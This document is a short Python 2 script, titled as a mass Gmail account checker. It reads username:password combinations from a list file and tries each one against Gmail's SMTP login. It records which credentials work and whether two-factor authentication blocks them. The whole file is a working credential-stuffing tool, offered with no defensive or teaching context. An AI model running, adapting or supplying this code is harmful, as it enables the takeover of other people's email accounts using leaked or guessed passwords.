mass account checker gmail

import smtplib
import sys
import time

combo = open('list.txt', 'r')
server = smtplib.SMTP('smtp.gmail.com', 587)
amount = len(combo.readlines())
name = combo.name

def check():

    workingAccounts = []

    with combo:
        print('[*] Trying (' + str(amount) + ') combinations from file (' + name + ')')
        for lines in combo.readlines():
            split = lines.split(':')
            user = split[0]
            pswd = split[1]
            comb = (user+':'+pswd)
            time.sleep(1)
            try:
                server.login(user, pswd)
                workingAccounts.append(comb)
                print('[+[2FA=Disabled] ' + str(comb))
            except smtplib.SMTPAuthenticationError as c:
                if c.smtp_code == 534:
                    workingAccounts.append(comb)
                    print('[?][2FA=Enabled] ' + str(comb))
                else:
                    print('[!] ' + str(comb))

        time.sleep(1)
        amount2 = len(workingAccounts)
        print('____________________________________\n[*] Google Mail Account Checker Finished!\nTotal Working Combinations: ' + str(amount2)+'\n____________________________________')
        time.sleep(1)
        if workingAccounts == 0:
            sys.exit()
        else:
            q1 = raw_input('[*] Would You Like To View Working Accounts? y/n\n>> ')
            time.sleep(1)
            if q1 == 'y':
                print('____________________________________\n[*] Working Google Mail Accounts:\n' + str('\n'.join(workingAccounts)) + '\n____________________________________')
                q2 = raw_input('>> ')
                if q2 == '':
                    sys.exit()
                else:
                    sys.exit()
            elif q1 == 'n':
                sys.exit()
            else:
                sys.exit()

try:
    server.starttls()
    server.ehlo()
    print '----------------------------------------------------------------------------'
    print('         [Connection Established With Google Mail SMTP Server]')
except smtplib.SMTPConnectError as e:
    print('['+str(e)+']')

try:
    combo = open('list.txt', 'r')
    print('               ['+name+' Has Succesfully Been Opened]')
except combo.errors as msg:
    print('['+msg+']\n[Script Closing in 2 Seconds]')
    time.sleep(2)
    sys.exit()

print '[If 2FA is Enabled On The Google Mail Account You Will Not Be Able To Access It]'
print '----------------------------------------------------------------------------'

q = raw_input('[*] Would You Like To Start Checking Accounts? y/n\n>> ')
if q == 'y':
    check()
elif q == 'n':
    sys.exit()
else:
    sys.exit()